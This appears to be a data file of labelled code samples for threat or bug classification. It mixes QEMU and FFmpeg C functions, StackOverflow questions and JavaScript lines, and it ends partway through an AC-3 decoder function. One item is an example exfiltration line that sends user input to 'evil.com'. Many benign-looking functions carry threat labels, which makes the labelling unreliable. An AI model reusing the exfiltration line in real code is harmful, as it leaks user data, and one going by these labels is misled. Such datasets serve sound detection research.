s->idsp.idct_put(dest_y + block_size, dct_linesize, block[1]);
s->idsp.idct_put(dest_y + dct_offset, dct_linesize, block[2]);
s->idsp.idct_put(dest_y + dct_offset + block_size, dct_linesize, block[3]);
if (!CONFIG_GRAY || !(s->avctx->flags & AV_CODEC_FLAG_GRAY)) {
if(s->chroma_y_shift){
s->idsp.idct_put(dest_cb, uvlinesize, block[4]);
s->idsp.idct_put(dest_cr, uvlinesize, block[5]);
}else{
dct_linesize = uvlinesize << s->interlaced_dct;
dct_offset = s->interlaced_dct ? uvlinesize : uvlinesize * 8;
s->idsp.idct_put(dest_cb, dct_linesize, block[4]);
s->idsp.idct_put(dest_cr, dct_linesize, block[5]);
s->idsp.idct_put(dest_cb + dct_offset, dct_linesize, block[6]);
s->idsp.idct_put(dest_cr + dct_offset, dct_linesize, block[7]);
if(!s->chroma_x_shift){
s->idsp.idct_put(dest_cb + 8, dct_linesize, block[8]);
s->idsp.idct_put(dest_cr + 8, dct_linesize, block[9]);
s->idsp.idct_put(dest_cb + 8 + dct_offset, dct_linesize, block[10]);
s->idsp.idct_put(dest_cr + 8 + dct_offset, dct_linesize, block[11]);
}
}
}
}
}
skip_idct:
if(!readable){
s->hdsp.put_pixels_tab[0][0](s->dest[0], dest_y , linesize,16);
s->hdsp.put_pixels_tab[s->chroma_x_shift][0](s->dest[1], dest_cb, uvlinesize,16 >> s->chroma_y_shift);
s->hdsp.put_pixels_tab[s->chroma_x_shift][0](s->dest[2], dest_cr, uvlinesize,16 >> s->chroma_y_shift);
}
}
}
| 1threat |
Button won't stay OFF : <p>I have this set up so when the hint button is “ON “the target are will highlight when you start to drag the item. This works fine. But when I switch the button to “OFF” as soon as I start to drag an item the button returns to the “ON” position and highlights the target area. How can the button stay “OFF” so no highlighting occurs?
Here's the button code (full code in fiddle)</p>
<pre><code>function onoff() {
currentvalue = document.getElementById('onoff').value;
if (currentvalue == "Off") {
document.getElementById("onoff").value = "On";
} else {
document.getElementById("onoff").value = "Off";
}
}
</code></pre>
<p>Here's jsfiddle <a href="https://jsfiddle.net/aceuk007/8mw1s2zj/" rel="nofollow">Button won't stay OFF</a></p>
| 0debug |
alert('Hello ' + user_input); | 1threat |
document.location = 'http://evil.com?username=' + user_input; | 1threat |
static int default_fdset_dup_fd_add(int64_t fdset_id, int dup_fd)
{
return -1;
}
| 1threat |
Exporting a Powershell Script to CSV : I found a PowerShell script that looks to be just what I need, but I am having trouble pipeing it to a CSV. I think it may be the Foreach portion that is giving the trouble, was wondering if anyone can pinpoint the cause.
$Groups = Get-ADGroup -Properties * -Filter * -SearchBase "OU=Groups,DC=corp,DC=ourcompany,DC=Com"
Foreach($G In $Groups)
{
Write-Host $G.Name
Write-Host "-------------"
$G.Members
}
(Credit to Ryan Ries for posting in the first place)
Thanks! | 0debug |
unserialize(): Error at offset 0 of 40 bytes Error : <p>I Want to run my application in localhost with <code>php artisan serve</code> but I get this Error <code>unserialize(): Error at offset 0 of 40 bytes</code> where is my problem?</p>
| 0debug |
Can I support all ES5, ES6, ES7 features in reactjs project? : Are there any ways to config a reactjs project to support all ES5, ES6, ES7 features?<br>
I mean that I can write all the ES5, ES6, ES7 syntaxes. <br>
I am using babel and webpack.
Thank you. | 0debug |
static int vhost_user_start(VhostUserState *s)
{
VhostNetOptions options;
if (vhost_user_running(s)) {
return 0;
}
options.backend_type = VHOST_BACKEND_TYPE_USER;
options.net_backend = &s->nc;
options.opaque = s->chr;
options.force = true;
s->vhost_net = vhost_net_init(&options);
return vhost_user_running(s) ? 0 : -1;
}
| 1threat |
What is JDeveloper? How it is different from Eclipse? Where should I learn about it? : <p>I have heard that J Developer is an IDE but what is its advantage over Eclipse? Why it is preferred?</p>
<p>I recently joined an account where they were using JDeveloper instead of Eclipse as an IDE. Also, I am not finding some good tutorials to learn more about it like what kind of applications we can create using J Developer. How to check whether JDeveloper is installed on my machine? If not then how to download & install it.</p>
<p>Please help !</p>
| 0debug |
Android studio AlertDialog ProgressBar lock : <p>I need to lock my AlertDialog. Now, when my alertDialog is enable and when i click on the screen, my alertdialog closed. I need to wait the end of the progress bar to close my alertDialog. How i can do this? Thank</p>
| 0debug |
Create a summary table from my data.frame : <p>I have the following data.frame, these are terror events happened in countries and the there can be 200 rows just for one country:</p>
<pre><code>Classes ‘data.table’ and 'data.frame': 80999 obs. of 3 variables:
$ country_txt.factor: Factor w/ 166 levels "Afghanistan",..: 102 102 65 79 131 65 79 150 135 135 ...
$ nkill : num 0 0 1 0 6 0 0 0 0 0 ...
$ nwound : num 7 7 2 1 10 0 0 0 1 0 ...
</code></pre>
<p>I would like to create a new data.frame/table where i could make a summary like this:</p>
<pre><code>Country Number of kills(sum) Number of wounds (sum)
Iraq 14000 150000
Afghanistan 10000 8888
.
.
.
</code></pre>
<p>Can you help me please how could i do this? </p>
| 0debug |
light wont turn on using localtime [ARDUINO] :
#include <stdio.h>
#include <time.h>
time_t now;
struct tm *now_tm;
int h,m,s;
void setup(){
pinMode(D6,OUTPUT);
}
void loop ()
{
now = time(NULL);
now_tm = localtime(&now);
h = now_tm->tm_hour;
m = now_tm->tm_min;
s = now_tm->tm_sec;
if(h == 17 && m == 0 && s==0)
{
digitalWrite(D6,HIGH);
delay(100000);
digitalWrite(D6,LOW);
}
}
I don't know why my LED on pin D6 wont turn on when its 17:00:00
I tried check it with other IF condition and it worked fine
I cout the hour the minute and the second on visual and they showed the right value
| 0debug |
Create a link based on table date on another website : <p>I am trying to think about how I would go about creating a link to something based on a data in another table on another website.</p>
<p>I have the following table on the other website:</p>
<p><a href="https://i.imgur.com/Hlemt1y.jpg" rel="nofollow noreferrer">https://i.imgur.com/Hlemt1y.jpg</a></p>
<p>so basically columns: Order #, Status, customer P-O</p>
<p>What I am trying to do is create a url based on "customer PO" that links to the Order #. So it would find the customer PO, then check the value on the same row of Order #, and then once I have that value I can create the URL using that order #.</p>
<p>I've never done anything that takes a value from another website so I guess that is what I am after? </p>
| 0debug |
static XHCIEPContext *xhci_alloc_epctx(XHCIState *xhci,
unsigned int slotid,
unsigned int epid)
{
XHCIEPContext *epctx;
int i;
epctx = g_new0(XHCIEPContext, 1);
epctx->xhci = xhci;
epctx->slotid = slotid;
epctx->epid = epid;
for (i = 0; i < ARRAY_SIZE(epctx->transfers); i++) {
epctx->transfers[i].xhci = xhci;
epctx->transfers[i].slotid = slotid;
epctx->transfers[i].epid = epid;
usb_packet_init(&epctx->transfers[i].packet);
}
epctx->kick_timer = timer_new_ns(QEMU_CLOCK_VIRTUAL, xhci_ep_kick_timer, epctx);
return epctx;
}
| 1threat |
void hmp_hostfwd_add(Monitor *mon, const QDict *qdict)
{
const char *redir_str;
SlirpState *s;
const char *arg1 = qdict_get_str(qdict, "arg1");
const char *arg2 = qdict_get_try_str(qdict, "arg2");
const char *arg3 = qdict_get_try_str(qdict, "arg3");
if (arg2) {
s = slirp_lookup(mon, arg1, arg2);
redir_str = arg3;
} else {
s = slirp_lookup(mon, NULL, NULL);
redir_str = arg1;
}
if (s) {
slirp_hostfwd(s, redir_str, 0);
}
}
| 1threat |
bool sysbus_has_irq(SysBusDevice *dev, int n)
{
char *prop = g_strdup_printf("%s[%d]", SYSBUS_DEVICE_GPIO_IRQ, n);
ObjectProperty *r;
r = object_property_find(OBJECT(dev), prop, NULL);
return (r != NULL);
} | 1threat |
is it possibile to open iTerm in current Finder position : <p>Sometimes it could be very useful to open new iTerm window. I've seen this feature in Gnome window manager. It is possible to get same feature on MaxOsX? Is there a software to do that?</p>
| 0debug |
void qmp_guest_set_user_password(const char *username,
const char *password,
bool crypted,
Error **errp)
{
NET_API_STATUS nas;
char *rawpasswddata = NULL;
size_t rawpasswdlen;
wchar_t *user, *wpass;
USER_INFO_1003 pi1003 = { 0, };
if (crypted) {
error_setg(errp, QERR_UNSUPPORTED);
return;
}
rawpasswddata = (char *)qbase64_decode(password, -1, &rawpasswdlen, errp);
if (!rawpasswddata) {
return;
}
rawpasswddata = g_renew(char, rawpasswddata, rawpasswdlen + 1);
rawpasswddata[rawpasswdlen] = '\0';
user = g_utf8_to_utf16(username, -1, NULL, NULL, NULL);
wpass = g_utf8_to_utf16(rawpasswddata, -1, NULL, NULL, NULL);
pi1003.usri1003_password = wpass;
nas = NetUserSetInfo(NULL, user,
1003, (LPBYTE)&pi1003,
NULL);
if (nas != NERR_Success) {
gchar *msg = get_net_error_message(nas);
error_setg(errp, "failed to set password: %s", msg);
g_free(msg);
}
g_free(user);
g_free(wpass);
g_free(rawpasswddata);
}
| 1threat |
def Convert(string):
li = list(string.split(" "))
return li | 0debug |
LINQ NAMESPACE AND METHOD ANY() : So I am using "using System.Linq;" and method "Any()" but for some reason it's shows me an error "arraylist does not contain a definition for Any...". I am trying to check if an array contains any item from another array. Dont know why but cant post my code. Hope you know whats the problem | 0debug |
static void virtio_gpu_handle_ctrl(VirtIODevice *vdev, VirtQueue *vq)
{
VirtIOGPU *g = VIRTIO_GPU(vdev);
struct virtio_gpu_ctrl_command *cmd;
if (!virtio_queue_ready(vq)) {
return;
}
#ifdef CONFIG_VIRGL
if (!g->renderer_inited && g->use_virgl_renderer) {
virtio_gpu_virgl_init(g);
g->renderer_inited = true;
}
#endif
cmd = g_new(struct virtio_gpu_ctrl_command, 1);
while (virtqueue_pop(vq, &cmd->elem)) {
cmd->vq = vq;
cmd->error = 0;
cmd->finished = false;
cmd->waiting = false;
QTAILQ_INSERT_TAIL(&g->cmdq, cmd, next);
cmd = g_new(struct virtio_gpu_ctrl_command, 1);
}
g_free(cmd);
virtio_gpu_process_cmdq(g);
#ifdef CONFIG_VIRGL
if (g->use_virgl_renderer) {
virtio_gpu_virgl_fence_poll(g);
}
#endif
}
| 1threat |
Printing the contents of a List<Object>, prints the last object only over and over? : <p>I am working on a CPU scheduler for an operating systems course.</p>
<p>There are no compilation errors or warnings, but my output file is incorrect.</p>
<p>What is happening is I am using PrintWriter class to write line by line to an output.</p>
<p>I have the following for loop.</p>
<pre><code>for (int TerminationListIndex = 0; TerminationListIndex < TerminationList.size(); TerminationListIndex++)
{
Termination_Info TerminationStats = TerminationList.get(TerminationListIndex);
Output.println(TerminationStats.getJob_ID() + " " +
TerminationStats.getClassType() + " " +
TerminationStats.getArrivalTime() + " " +
TerminationStats.getLoadingTime() + " " +
TerminationStats.getTerminationTime() + " " +
TerminationStats.getProcessingTime() + " " +
TerminationStats.getTurnaroundTime() + " " +
TerminationStats.getWaitingTime());
}
</code></pre>
<p>In my eclipse debugger I can view the the TerminationList and see that it holds different objects. The output, however, will print the LAST object in the lists' parameters (Job_ID, Class, ArrTime, LoadTime, TermTime, ProcTime, TurnTime, WaitTime) and I end up with a n output file that has hundreds of lines with the same parameters. In terms of logic, I am fairly confident that it is just some syntax error. Any advice would be greatly appreciated.</p>
| 0debug |
QmpInputVisitor *qmp_input_visitor_new(QObject *obj, bool strict)
{
QmpInputVisitor *v;
v = g_malloc0(sizeof(*v));
v->visitor.type = VISITOR_INPUT;
v->visitor.start_struct = qmp_input_start_struct;
v->visitor.end_struct = qmp_input_end_struct;
v->visitor.start_list = qmp_input_start_list;
v->visitor.next_list = qmp_input_next_list;
v->visitor.end_list = qmp_input_end_list;
v->visitor.start_alternate = qmp_input_start_alternate;
v->visitor.type_int64 = qmp_input_type_int64;
v->visitor.type_uint64 = qmp_input_type_uint64;
v->visitor.type_bool = qmp_input_type_bool;
v->visitor.type_str = qmp_input_type_str;
v->visitor.type_number = qmp_input_type_number;
v->visitor.type_any = qmp_input_type_any;
v->visitor.optional = qmp_input_optional;
v->strict = strict;
qmp_input_push(v, obj, NULL);
qobject_incref(obj);
return v;
}
| 1threat |
difference between angular js and java script : <p><strong>Please Reply</strong>
- what is the role of angular js?
- what is the role of java script?
- when use angularjs
- when use java script
- which one is powerfull</p>
| 0debug |
Jest Test "Compared values have no visual difference." : <p>I'm doing a comparison between two objects that are quite complex and attempting to use the .toEqual method in expect.</p>
<p>Here is my test:</p>
<pre><code>it('check if stepGroups data in controlData matches data in liveData', () => {
var controlStore = data.controlStore
var liveStore
return getData().then(result => {
liveStore = new Store()
liveStore.loadData(JSON.parse(result))
expect(controlStore).toEqual(liveStore)
})
})
</code></pre>
<p>I did a diff between the expected and the the received output and they both appear to be the same. What would still be causing this test to fail? I was reading up on pretty-format (<a href="https://github.com/facebook/jest/issues/1622" rel="noreferrer">https://github.com/facebook/jest/issues/1622</a>). Have you run into similar situations?</p>
| 0debug |
Can't change with android xml file : I want to build an xml file like this.[enter image description here][1]
But I can't.Can someone tell me why this is happen?how to made center of edit box hint?
Specially edit box [enter image description here][2]
[1]: http://i.stack.imgur.com/RBAEn.jpg
[2]: http://i.stack.imgur.com/CtRYA.png
Codes Are
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="fill_parent"
android:layout_height="fill_parent" >
<RelativeLayout
android:layout_width="fill_parent"
android:layout_height="fill_parent">
<Button
android:id="@+id/button1"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="Button1"
android:layout_marginTop="67dp"
android:layout_below="@+id/linearLayout"
android:layout_centerHorizontal="true"
android:background="#013567" />
<LinearLayout
xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:padding="10dip"
android:gravity="center"
android:layout_marginTop="51dp"
android:id="@+id/linearLayout"
android:weightSum="1"
android:layout_below="@+id/textView4"
android:layout_alignParentLeft="true"
android:layout_alignParentStart="true">
<!-- Email Label -->
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceLarge"
android:text="Large Text"
android:id="@+id/textView"
android:layout_below="@+id/topBar"
android:layout_centerHorizontal="true"
android:textColor="#fe9900"
android:layout_weight="0.07"
android:layout_gravity="center_horizontal" />
<EditText android:layout_width="268dp"
android:layout_height="match_parent"
android:layout_marginTop="5dip"
android:layout_marginBottom="20dip"
android:singleLine="true"
android:background="#ffffff"
android:hint="Enter Email Address" />
<!-- Password Label -->
<EditText android:layout_width="274dp"
android:layout_height="fill_parent"
android:layout_marginTop="5dip"
android:singleLine="true"
android:password="true"
android:background="#ffffff"
android:hint="Password" />
<!-- Login button -->
<Button android:id="@+id/btnLogin"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_marginTop="10dip"
android:text="Login"
android:background="#fe9900"
android:layout_gravity="center_horizontal" />
<!-- Link to Registration Screen -->
</LinearLayout>
<LinearLayout
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:layout_alignParentTop="true"
android:layout_alignParentLeft="true"
android:layout_alignParentStart="true"
android:layout_marginTop="45dp"
android:id="@+id/linearLayout2">
</LinearLayout>
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceMedium"
android:text="Medium Text"
android:id="@+id/textView2"
android:layout_alignParentBottom="true"
android:layout_alignParentLeft="true"
android:layout_alignParentStart="true"
android:layout_marginLeft="41dp"
android:layout_marginStart="41dp"
android:layout_marginBottom="38dp" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceMedium"
android:text="Medium Text"
android:id="@+id/textView3"
android:layout_alignBottom="@+id/textView2"
android:layout_toRightOf="@+id/textView2"
android:layout_toEndOf="@+id/textView2"
android:layout_marginLeft="31dp"
android:layout_marginStart="31dp" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceMedium"
android:text="Medium Text"
android:id="@+id/textView4"
android:layout_alignTop="@+id/linearLayout2"
android:layout_toLeftOf="@+id/textView3"
android:layout_toStartOf="@+id/textView3" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textAppearance="?android:attr/textAppearanceMedium"
android:text="Medium Text"
android:id="@+id/textView5"
android:layout_alignTop="@+id/linearLayout2"
android:layout_alignLeft="@+id/textView3"
android:layout_alignStart="@+id/textView3"
android:layout_marginLeft="34dp"
android:layout_marginStart="34dp" />
</RelativeLayout>
<Button
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="New Button"
android:id="@+id/button"
android:background="#013469" />
</RelativeLayout>
</RelativeLayout>
| 0debug |
No assembly found containing an OwinStartupAttribute Error : <p>This error </p>
<p>The following errors occurred while attempting to load the app.
- No assembly found containing an OwinStartupAttribute.
- The given type or method 'false' was not found. Try specifying the Assembly.
To disable OWIN startup discovery, add the appSetting owin:AutomaticAppStartup with a value of "false" in your web.config.
To specify the OWIN startup Assembly, Class, or Method, add the appSetting owin:AppStartup with the fully qualified startup class or configuration method name in your web.config.</p>
<p>appears on my screen on the most face burningly ugly error page ever created in history. </p>
<p><a href="https://i.stack.imgur.com/rDKpi.jpg" rel="noreferrer"><img src="https://i.stack.imgur.com/rDKpi.jpg" alt="enter image description here"></a></p>
<p>Ive tried to follow the instructions on the page by inserting the owin:AutomaticAppStartup in the config.</p>
<pre><code> <appSettings >
<add key="owin:AppStartup" value="false"></add>
</appSettings>
</code></pre>
<p>this did not fix the problem. Any suggestions?</p>
| 0debug |
Why socket is not execute successfully? : public boolean connection(View view)
{
boolean x=true;
try
{
serverSocket= new ServerSocket(9999);
socket = serverSocket.accept();
Toast.makeText(creator.this,"ServerStarted,",Toast.LENGTH_SHORT).show();
C.setEnabled(true);
} catch (IOException e)
{
Toast.makeText(creator.this,"Server is not Started,",Toast.LENGTH_SHORT).show();
e.printStackTrace();
x=false;
}
return x;
}
//, when this function is going to execute, app stops working
//why socket.accept(); is not allowed there | 0debug |
Property 'matchAll' does not exist on type 'string' : <p>I want to apply Reg Expression on string. In order to get all groups result i am using matchAll method. Here is my code</p>
<pre><code>const regexp = RegExp('foo*','g');
const str = "table football, foosball";
let matches = str.matchAll(regexp);
for (const match of matches) {
console.log(match);
}
</code></pre>
<p>during compiling on above code i got error</p>
<blockquote>
<p>Property 'matchAll' does not exist on type '"table football, foosball"'</p>
</blockquote>
<p>during searching about this error i found similar issue on stackoverflow </p>
<p><a href="https://stackoverflow.com/questions/51811239/ts2339-property-includes-does-not-exist-on-type-string">TS2339: Property 'includes' does not exist on type 'string'</a></p>
<p>I changed tsconfig configuration as mention in above link but my issue did not solved</p>
<p>Here is my tsconfig code;</p>
<pre><code>{
"compileOnSave": false,
"compilerOptions": {
"baseUrl": "./",
"importHelpers": true,
"outDir": "./dist/out-tsc",
"sourceMap": true,
"declaration": false,
"module": "es2015",
"moduleResolution": "node",
"emitDecoratorMetadata": true,
"experimentalDecorators": true,
"target": "es2016",
"typeRoots": [
"node_modules/@types"
],
"lib": [
"es2018",
"dom"
]
}
}
</code></pre>
| 0debug |
static int config_props(AVFilterLink *inlink)
{
FadeContext *s = inlink->dst->priv;
const AVPixFmtDescriptor *pixdesc = av_pix_fmt_desc_get(inlink->format);
s->hsub = pixdesc->log2_chroma_w;
s->vsub = pixdesc->log2_chroma_h;
s->bpp = av_get_bits_per_pixel(pixdesc) >> 3;
s->alpha &= !!(pixdesc->flags & AV_PIX_FMT_FLAG_ALPHA);
s->is_packed_rgb = ff_fill_rgba_map(s->rgba_map, inlink->format) >= 0;
s->black_level =
ff_fmt_is_in(inlink->format, studio_level_pix_fmts) && !s->alpha ? 16 : 0;
s->black_level_scaled = (s->black_level << 16) + 32768;
return 0;
}
| 1threat |
static void pl011_write(void *opaque, hwaddr offset,
uint64_t value, unsigned size)
{
PL011State *s = (PL011State *)opaque;
unsigned char ch;
switch (offset >> 2) {
case 0:
ch = value;
if (s->chr)
qemu_chr_fe_write(s->chr, &ch, 1);
s->int_level |= PL011_INT_TX;
pl011_update(s);
break;
case 1:
s->cr = value;
break;
case 6:
break;
case 8:
s->ilpr = value;
break;
case 9:
s->ibrd = value;
break;
case 10:
s->fbrd = value;
break;
case 11:
if ((s->lcr ^ value) & 0x10) {
s->read_count = 0;
s->read_pos = 0;
}
s->lcr = value;
pl011_set_read_trigger(s);
break;
case 12:
s->cr = value;
break;
case 13:
s->ifl = value;
pl011_set_read_trigger(s);
break;
case 14:
s->int_enabled = value;
pl011_update(s);
break;
case 17:
s->int_level &= ~value;
pl011_update(s);
break;
case 18:
s->dmacr = value;
if (value & 3) {
qemu_log_mask(LOG_UNIMP, "pl011: DMA not implemented\n");
}
break;
default:
qemu_log_mask(LOG_GUEST_ERROR,
"pl011_write: Bad offset %x\n", (int)offset);
}
}
| 1threat |
How to write a python dictionary to a json file in the following format? : <p>so I have a python dictionary in the form of {'key1':[value1, value2]},
I hope to write it to a json file in the format of:</p>
<pre><code>{
"key1": [value1, value2],
"key2": [value, value],
....
}
</code></pre>
<p>I am currently using json.dump(dictionary, file_to_write_to), and the output looks like:</p>
<pre><code>{"key1": [value1, value2], "key2": [value, value]}
</code></pre>
| 0debug |
static void opt_b_frames(const char *arg)
{
b_frames = atoi(arg);
if (b_frames > FF_MAX_B_FRAMES) {
fprintf(stderr, "\nCannot have more than %d B frames, increase FF_MAX_B_FRAMES.\n", FF_MAX_B_FRAMES);
exit(1);
} else if (b_frames < 1) {
fprintf(stderr, "\nNumber of B frames must be higher than 0\n");
exit(1);
}
}
| 1threat |
static BlockDriverAIOCB *curl_aio_readv(BlockDriverState *bs,
int64_t sector_num, QEMUIOVector *qiov, int nb_sectors,
BlockDriverCompletionFunc *cb, void *opaque)
{
BDRVCURLState *s = bs->opaque;
CURLAIOCB *acb;
size_t start = sector_num * SECTOR_SIZE;
size_t end;
CURLState *state;
acb = qemu_aio_get(&curl_aio_pool, bs, cb, opaque);
if (!acb)
return NULL;
acb->qiov = qiov;
switch (curl_find_buf(s, start, nb_sectors * SECTOR_SIZE, acb)) {
case FIND_RET_OK:
qemu_aio_release(acb);
case FIND_RET_WAIT:
return &acb->common;
default:
break;
}
state = curl_init_state(s);
if (!state)
return NULL;
acb->start = 0;
acb->end = (nb_sectors * SECTOR_SIZE);
state->buf_off = 0;
if (state->orig_buf)
qemu_free(state->orig_buf);
state->buf_start = start;
state->buf_len = acb->end + READ_AHEAD_SIZE;
end = MIN(start + state->buf_len, s->len) - 1;
state->orig_buf = qemu_malloc(state->buf_len);
state->acb[0] = acb;
snprintf(state->range, 127, "%lld-%lld", (long long)start, (long long)end);
dprintf("CURL (AIO): Reading %d at %lld (%s)\n", (nb_sectors * SECTOR_SIZE), start, state->range);
curl_easy_setopt(state->curl, CURLOPT_RANGE, state->range);
curl_multi_add_handle(s->multi, state->curl);
curl_multi_do(s);
return &acb->common;
}
| 1threat |
how to solve an array using search algorithm of an n elements? : <p>Suppose you have an array of 50 elements and you want to search a target item "x"</p>
<p>1.write a search algorithm if each item are sorted using pseudo code </p>
<p>2.write a search algorithm if each item are not sorted using pseudo code </p>
| 0debug |
long do_rt_sigreturn(CPUS390XState *env)
{
rt_sigframe *frame;
abi_ulong frame_addr = env->regs[15];
qemu_log("%s: frame_addr 0x%llx\n", __FUNCTION__,
(unsigned long long)frame_addr);
sigset_t set;
if (!lock_user_struct(VERIFY_READ, frame, frame_addr, 1)) {
goto badframe;
}
target_to_host_sigset(&set, &frame->uc.tuc_sigmask);
sigprocmask(SIG_SETMASK, &set, NULL);
if (restore_sigregs(env, &frame->uc.tuc_mcontext)) {
goto badframe;
}
if (do_sigaltstack(frame_addr + offsetof(rt_sigframe, uc.tuc_stack), 0,
get_sp_from_cpustate(env)) == -EFAULT) {
goto badframe;
}
unlock_user_struct(frame, frame_addr, 0);
return env->regs[2];
badframe:
unlock_user_struct(frame, frame_addr, 0);
force_sig(TARGET_SIGSEGV);
return 0;
}
| 1threat |
Kotlin: Difference between constant in companion object and top level : <p>The general pattern to create constants in Kotlin seems to be using companion objects. However, I can also define a constant at the file level. Why is that not so popular? Am I missing something?</p>
<p>With companion object:</p>
<pre><code>class Example {
companion object {
const val CONSTANT = "something"
}
</code></pre>
<p>On top level:</p>
<pre><code>const val CONSTANT = "something"
class Example {
}
</code></pre>
| 0debug |
GET request to IIS returns Microsoft-HttpApi/2.0 : <p>I've got 6 identical machines running IIS and Apache. Today one of them decided to just stop serving requests. I can access all of the webapps when I try from localhost/resource but when I try from url/resource I get a 404. I did a Get request against the machine that isn't working and I get this back:</p>
<ul>
<li>Server: Microsoft-HTTPAPI/2.0</li>
<li>Connection: close</li>
</ul>
<p>Compared to a working server:</p>
<ul>
<li>Server: Microsoft-IIS/8.5</li>
<li>X-Powered-By: ASP.NET</li>
<li>Content-Type: text/html</li>
</ul>
<p>Tried searching for this problem but came up with nothing, anyone got any idea's?</p>
| 0debug |
static int ac3_parse_audio_block(AC3DecodeContext * ctx, int index)
{
ac3_audio_block *ab = &ctx->audio_block;
int nfchans = ctx->bsi.nfchans;
int acmod = ctx->bsi.acmod;
int i, bnd, rbnd, grp, seg;
GetBitContext *gb = &ctx->gb;
uint32_t *flags = &ab->flags;
int bit_alloc_flags = 0;
float drange;
*flags = 0;
ab->blksw = 0;
for (i = 0; i < 5; i++)
ab->chcoeffs[i] = 1.0;
for (i = 0; i < nfchans; i++)
ab->blksw |= get_bits(gb, 1) << i;
ab->dithflag = 0;
for (i = 0; i < nfchans; i++)
ab->dithflag |= get_bits(gb, 1) << i;
if (get_bits(gb, 1)) {
*flags |= AC3_AB_DYNRNGE;
ab->dynrng = get_bits(gb, 8);
drange = ((((ab->dynrng & 0x1f) | 0x20) << 13) * scale_factors[3 - (ab->dynrng >> 5)]);
for (i = 0; i < nfchans; i++)
ab->chcoeffs[i] *= drange;
}
if (acmod == 0x00) {
if (get_bits(gb, 1)) {
*flags |= AC3_AB_DYNRNG2E;
ab->dynrng2 = get_bits(gb, 8);
drange = ((((ab->dynrng2 & 0x1f) | 0x20) << 13) * scale_factors[3 - (ab->dynrng2 >> 5)]);
ab->chcoeffs[1] *= drange;
}
}
get_downmix_coeffs(ctx);
ab->chincpl = 0;
if (get_bits(gb, 1)) {
*flags |= AC3_AB_CPLSTRE;
ab->cplbndstrc = 0;
if (get_bits(gb, 1)) {
*flags |= AC3_AB_CPLINU;
for (i = 0; i < nfchans; i++)
ab->chincpl |= get_bits(gb, 1) << i;
if (acmod == 0x02)
if (get_bits(gb, 1))
*flags |= AC3_AB_PHSFLGINU;
ab->cplbegf = get_bits(gb, 4);
ab->cplendf = get_bits(gb, 4);
assert((ab->ncplsubnd = 3 + ab->cplendf - ab->cplbegf) > 0);
ab->ncplbnd = ab->ncplsubnd;
for (i = 0; i < ab->ncplsubnd - 1; i++)
if (get_bits(gb, 1)) {
ab->cplbndstrc |= 1 << i;
ab->ncplbnd--;
}
}
}
if (*flags & AC3_AB_CPLINU) {
ab->cplcoe = 0;
for (i = 0; i < nfchans; i++)
if (ab->chincpl & (1 << i))
if (get_bits(gb, 1)) {
ab->cplcoe |= 1 << i;
ab->mstrcplco[i] = get_bits(gb, 2);
for (bnd = 0; bnd < ab->ncplbnd; bnd++) {
ab->cplcoexp[i][bnd] = get_bits(gb, 4);
ab->cplcomant[i][bnd] = get_bits(gb, 4);
}
}
}
ab->phsflg = 0;
if ((acmod == 0x02) && (*flags & AC3_AB_PHSFLGINU) && (ab->cplcoe & 1 || ab->cplcoe & (1 << 1))) {
for (bnd = 0; bnd < ab->ncplbnd; bnd++)
if (get_bits(gb, 1))
ab->phsflg |= 1 << bnd;
}
generate_coupling_coordinates(ctx);
ab->rematflg = 0;
if (acmod == 0x02)
if (get_bits(gb, 1)) {
*flags |= AC3_AB_REMATSTR;
if (ab->cplbegf > 2 || !(*flags & AC3_AB_CPLINU))
for (rbnd = 0; rbnd < 4; rbnd++)
ab->rematflg |= get_bits(gb, 1) << bnd;
else if (ab->cplbegf > 0 && ab->cplbegf <= 2 && *flags & AC3_AB_CPLINU)
for (rbnd = 0; rbnd < 3; rbnd++)
ab->rematflg |= get_bits(gb, 1) << bnd;
else if (!(ab->cplbegf) && *flags & AC3_AB_CPLINU)
for (rbnd = 0; rbnd < 2; rbnd++)
ab->rematflg |= get_bits(gb, 1) << bnd;
}
if (*flags & AC3_AB_CPLINU)
ab->cplexpstr = get_bits(gb, 2);
for (i = 0; i < nfchans; i++)
ab->chexpstr[i] = get_bits(gb, 2);
if (ctx->bsi.flags & AC3_BSI_LFEON)
ab->lfeexpstr = get_bits(gb, 1);
for (i = 0; i < nfchans; i++)
if (ab->chexpstr[i] != AC3_EXPSTR_REUSE)
if (!(ab->chincpl & (1 << i))) {
ab->chbwcod[i] = get_bits(gb, 6);
assert (ab->chbwcod[i] <= 60);
}
if (*flags & AC3_AB_CPLINU)
if (ab->cplexpstr != AC3_EXPSTR_REUSE) {
bit_alloc_flags |= 64;
ab->cplabsexp = get_bits(gb, 4) << 1;
ab->cplstrtmant = (ab->cplbegf * 12) + 37;
ab->cplendmant = ((ab->cplendmant + 3) * 12) + 37;
ab->ncplgrps = (ab->cplendmant - ab->cplstrtmant) / (3 << (ab->cplexpstr - 1));
for (grp = 0; grp < ab->ncplgrps; grp++)
ab->cplexps[grp] = get_bits(gb, 7);
}
for (i = 0; i < nfchans; i++)
if (ab->chexpstr[i] != AC3_EXPSTR_REUSE) {
bit_alloc_flags |= 1 << i;
if (ab->chincpl & (1 << i))
ab->endmant[i] = (ab->cplbegf * 12) + 37;
else
ab->endmant[i] = ((ab->chbwcod[i] + 3) * 12) + 37;
ab->nchgrps[i] =
(ab->endmant[i] + (3 << (ab->chexpstr[i] - 1)) - 4) / (3 << (ab->chexpstr[i] - 1));
ab->exps[i][0] = ab->dexps[i][0] = get_bits(gb, 4);
for (grp = 1; grp <= ab->nchgrps[i]; grp++)
ab->exps[i][grp] = get_bits(gb, 7);
ab->gainrng[i] = get_bits(gb, 2);
}
if (ctx->bsi.flags & AC3_BSI_LFEON)
if (ab->lfeexpstr != AC3_EXPSTR_REUSE) {
